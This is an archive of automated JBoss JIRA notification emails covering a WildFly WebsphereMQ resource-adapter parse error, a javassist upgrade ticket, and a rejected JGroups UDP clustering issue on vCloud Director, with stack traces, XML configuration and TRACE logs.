> After couple of seconds of work some threads just hang up in Locking$ClientLock(Object).wait() called indirectly from LockService$LockImpl.tryLock().
> Here is stack trace:
> Thread [Thread-ClientImitation-1] (Suspended)                
>                 Object.wait(long) line: not available [native method]      
>                 Locking$ClientLock(Object).wait() line: 485          
>                 Locking$ClientLock.acquireTryLock(long, boolean) line: 1010       
>                 Locking$ClientLock.tryLock() line: 896     
>                 CENTRAL_LOCK(Locking).down(Event) line: 152                
>                 ProtocolStack.down(Event) line: 1025    
>                 JChannel.down(Event) line: 718                
>                 LockService$LockImpl.tryLock() line: 102               
>                 LockServiceStabilityTestCase$ClientImitation.run() line: 167        
>                 Thread.run() line: 662     

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 07:00:03 2013
From: jira-events at lists.jboss.org (Sparta Shoqo (JIRA))
Date: Tue, 3 Sep 2013 07:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1990) WebsphereMQ 7 Resource
 Adapter error: IJ010061: Unexpected element: archive
In-Reply-To: <JIRA.12499816.1378205952969@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499816.1378205952969@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499816.1378205952969.5616.1378206003797@jira02.app.mwc.hst.phx2.redhat.com>

Sparta Shoqo created WFLY-1990:
----------------------------------

             Summary: WebsphereMQ 7 Resource Adapter error: IJ010061: Unexpected element: archive
                 Key: WFLY-1990
                 URL: https://issues.jboss.org/browse/WFLY-1990
             Project: WildFly
          Issue Type: Bug
          Components: Server
    Affects Versions: 8.0.0.Alpha4
         Environment: Windows 7, 4GB RAM
            Reporter: Sparta Shoqo
            Assignee: Jason Greene


I'm getting the error when trying to configure WebsphereMQ 7 resource adapter on WildFly/JBoss 8. (I have already copied the rar file; *wmq.jmsra.rar* to the deployments directory):

{noformat}
12:23:44,485 DEBUG [org.jboss.as.config] (MSC service thread 1-7) VM Arguments: -XX:+TieredCompilation -XX:+UseCompressedOops -Dprogram.name=standalone.bat -Xms64M -Xmx512M -XX:MaxPermSize=256M -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Dorg.jboss.boot.log.file=C:\Install\WildFly\wildfly-8.0.0.Alpha4\nodes\node01\log\server.log -Dlogging.configuration=file:C:\Install\WildFly\wildfly-8.0.0.Alpha4\nodes\node01\configuration/logging.properties 
12:23:54,482 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.server.ServerService.boot(ServerService.java:322) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:245) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
Caused by: javax.xml.stream.XMLStreamException: org.jboss.as.connector.util.ParserException: IJ010061: Unexpected element: archive
	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:363)
	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:94)
	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
	at org.jboss.staxmapper.XMLExtendedStreamReaderImpl.handleAny(XMLExtendedStreamReaderImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
	at org.jboss.as.server.parsing.StandaloneXml.parseServerProfile(StandaloneXml.java:1131) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:460) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:147) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:109) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	... 3 more
Caused by: org.jboss.as.connector.util.ParserException: IJ010061: Unexpected element: archive
	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterParser.parseResourceAdapters(ResourceAdapterParser.java:127)
	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterParser.parse(ResourceAdapterParser.java:89)
	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:354)
	... 13 more

12:23:54,492 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
12:23:54,576 INFO  [org.jboss.as] (MSC service thread 1-2) JBAS015950: WildFly 8.0.0.Alpha4 "WildFly" stopped in 6ms
{noformat}

Below is the resource adapter configuration:

{code:xml}
<subsystem xmlns="urn:jboss:domain:resource-adapters:1.1">
    <resource-adapters>
        <resource-adapter>
            <archive>wmq.jmsra.rar</archive>
            <config-property name="Name">WebsphereMQ_Resource</config-property>
            <transaction-support>NoTransaction</transaction-support>
            <connection-definitions>
                <connection-definition class-name="com.ibm.mq.connector.outbound.ManagedConnectionFactoryImpl" jndi-name="java:mq/MY_QMGR_CF" pool-name="MY_QMGR_CF">
                    <config-property name="channel">CLIENT.my_qmgr</config-property>
                    <config-property name="transportType">CLIENT</config-property>
                    <config-property name="queueManager">my_qmgr</config-property>
                    <config-property name="port">1420</config-property>
                    <config-property name="hostName">localhost</config-property>
                    <validation>
                        <background-validation>true</background-validation>
                        <background-validation-millis>0</background-validation-millis>
                    </validation>
                </connection-definition>
            </connection-definitions>
            <admin-objects>
                <admin-object class-name="com.ibm.mq.connector.outbound.MQQueueProxy" jndi-name="java:mq/TEST_WILDFLY_8" pool-name="TEST_WILDFLY_8_POOL">
                    <config-property name="baseQueueManagerName">my_qmgr</config-property>
                    <config-property name="baseQueueName">TEST_WILDFLY_8</config-property>
                </admin-object>
            </admin-objects>
        </resource-adapter>
    </resource-adapters>
</subsystem>
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 07:51:07 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 3 Sep 2013 07:51:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1976) component upgrade to
	javassist 3.18.1-GA
In-Reply-To: <JIRA.12499706.1377888194000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499706.1377888194000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499706.1377888194000.5659.1378209067628@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1976?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow closed WFLY-1976.
------------------------------


    
> component upgrade to javassist 3.18.1-GA
> ----------------------------------------
>
>                 Key: WFLY-1976
>                 URL: https://issues.jboss.org/browse/WFLY-1976
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 08:10:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 3 Sep 2013 08:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1686) JBOSS CLUSTER issues in
	vCloud Director
In-Reply-To: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499806.1378199325000.5691.1378210203382@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1686?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1686.
----------------------------

    Resolution: Rejected


Because
* I'm not familiar with vCloud
* I don't support the old version of JGroups used inside of JBoss 6.1
* I don't support JBoss (only JGroups)

I suggest use a JGroups standalone program (e.g. Draw) to test your configuration. 
                
> JBOSS CLUSTER issues in vCloud Director
> ---------------------------------------
>
>                 Key: JGRP-1686
>                 URL: https://issues.jboss.org/browse/JGRP-1686
>             Project: JGroups
>          Issue Type: Bug
>         Environment: VMWare vCloud Director
>            Reporter: sachin jopat
>            Assignee: Bela Ban
>              Labels: new_and_noteworthy
>
> Background:-
> We recently migrated from VM LabManager to VM vCloud director for virtualization and have been using JBOSS6.1.0 from sometime. So this may not be an issue in JBOSS, but looking for a workaround here.
> Problem Statement:-
> While starting Cluster server, it fails to communicate with other servers using UDP multicast for cluster communication, but when we change the transport mechanism from UDP to TCP  for cluster communication, the same settings work. Strange, but however we tested UDP multicast is not blocked on VCloud.
> Below is the change in the Jboss application run.bat file, which worked. But using tcp is not a preferred option especially when we plan to have 8-10 clusters:-
> Original 
> ?set COMMAND_ARGS=%COMMAND_ARGS% -u %REM_MCAST_ADDR%? 
> Changed
> ?set COMMAND_ARGS=%COMMAND_ARGS% -Djboss.default.jgroups.stack=tcp?
> Changes to run JBoss clusters are confined to the JGroups configuration and all configurations for UDP and TCP are in the below XML file:-
> JBOSS/server/CONFIG/deploy/cluster/jgroupschannelfactory.sar/META-INF/jgroups-channelfactorystacks.xml
> Sample configuration:-
> <protocol_stacks>
> <stack name="udp">
> <config>
> <UDP bind_port="${jboss.jgroups.udp.bind_port:55200}" />
> <PING timeout="2000" num_initial_members="3"/>
> <MERGE2 max_interval="100000" min_interval="20000"/>
> <FD_SOCK/>
> <FD timeout="6000" max_tries="5"/>
> <pbcast.NAKACK retransmit_timeout="300,600,1200" />
> <UNICAST timeout="300,600,1200,2400,3600"/>
> <pbcast.STABLE desired_avg_gossip="50000" max_bytes="400k"/>
> <pbcast.GMS join_timeout="3000" />
> <FRAG2 frag_size="60k"/>
> </config>
> </stack>
> <stack name="tcp">
> <config>
> <TCP start_port="${jboss.jgroups.tcp.tcp_port:7600}"/>
> <TCPPING timeout="3000"
> initial_hosts="Host-A[7600],Host-B[7600]?/>
> ...
> </config>
> </stack>
> </protocol_stacks>
> Please find below the logs.
> So it stops at the below step on the agent cluster node which we try to start soon after Farm agent server successfully started:-
> Cluster agent boot log:-
> 09:49:39,196 INFO  [HANamingService] Started HAJNDI bootstrap; jnpPort=1300, backlog=50, bindAddress=OM2/192.168.1.201
> 09:49:39,211 INFO  [DetachedHANamingService$AutomaticDiscovery] Listening on /192.168.1.201:1102, group=224.1.1.3, HA-JNDI address=192.168.1.201:1300
> 09:49:39,227 INFO  [TransactionManagerFactory] Using a batchMode transaction manager
> 09:49:39,242 INFO  [ComponentsJmxRegistration] Could not register object with name: org.infinispan:type=Cache,name="distributed-tree(repl_sync)",manager="ha-partition",component=Cache
> 09:49:39,242 INFO  [CacheJmxRegistration] MBeans were successfully registered to the platform mbean server.
> 09:49:39,258 INFO  [RpcManagerImpl] Trying to fetch state from OM1:1299
> 09:49:39,492 INFO  [RpcManagerImpl] Successfully retrieved and applied state from OM1:1299
> 09:49:39,492 INFO  [ComponentRegistry] Infinispan version: Infinispan 'Ursus' 4.2.0.FINAL
> 09:49:39,492 INFO  [DefaultCacheContainerFactory] Started "distributed-tree" cache from "ha-partition" container
> Farm agent server log:-
> 2013-08-30 09:48:16,374 INFO  [Http11Protocol] (Thread-2) Starting Coyote HTTP/1.1 on http-OM1%2F192.168.1.200-8280
> 2013-08-30 09:48:16,390 INFO  [AjpProtocol] (Thread-2) Starting Coyote AJP/1.3 on ajp-OM1%2F192.168.1.200-8209
> 2013-08-30 09:48:16,390 INFO  [AbstractServer] (Thread-2) JBossAS [6.1.0.Final "Neo"] Started in 1m:6s:488ms
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-11,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-12,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-13,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-13,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-14,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-15,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-16,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-16,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:00,475 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 1 total (1 servers (1 coord), 0 clients)
> 2013-08-30 09:49:00,475 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|0] [OM1:1299]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stable msg [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-18,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (0 votes):
> mine:   [OM1:1299#1]
> other:  [OM1:1299#2]
> result: [OM1:1299#1]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 780 ms) [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stability msg [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#1]
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#3]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) received stable digest OM1:1299: [0 : 1 (2)]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) deleting msgs <= 1 from OM1:1299
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: 0877da68-118d-d463-ca8c-57545e902c09 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=0877da68-118d-d463-ca8c-57545e902c09, view id=null, is_server=false, is_coord=false, logical_name=OM2:1299, physical_addrs=192.168.1.201:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,638 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM2:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400]
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[JOIN_REQ]: mbr=OM2:1299, UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UNICAST] (OOB-19,null) OM1:1299 <-- DATA(OM2:1299: #1, first)
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299: created receiver window for OM2:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299 --> ACK(OM2:1299: #1)
> 2013-08-30 09:49:25,732 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) new=[OM2:1299], suspected=[], leaving=[], new view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,794 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#5
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,794 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#5
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-2,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: flush coordinator  is starting FLUSH with participants [OM1:1299]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299: created connection to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299 --> DATA(OM1:1299: #1, conn_id=0, first)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-1,null) sending msg to OM1:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-1,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 <-- DATA(OM1:1299: #1, first)
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299: created receiver window for OM1:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-4,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UNICAST] (Incoming-4,null) OM1:1299 <-- ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: FLUSH_COMPLETED from OM1:1299, completed true, flushMembers [OM1:1299], flushCompleted [OM1:1299]
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: successful GMS flush by coordinator
> 2013-08-30 09:49:25,825 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: all FLUSH_COMPLETED received
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) suspending message garbage collection
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resume task started, max_suspend_time=33000
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: mcasting view {[OM1:1299|1] [OM1:1299, OM2:1299]} (2 mbrs)
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
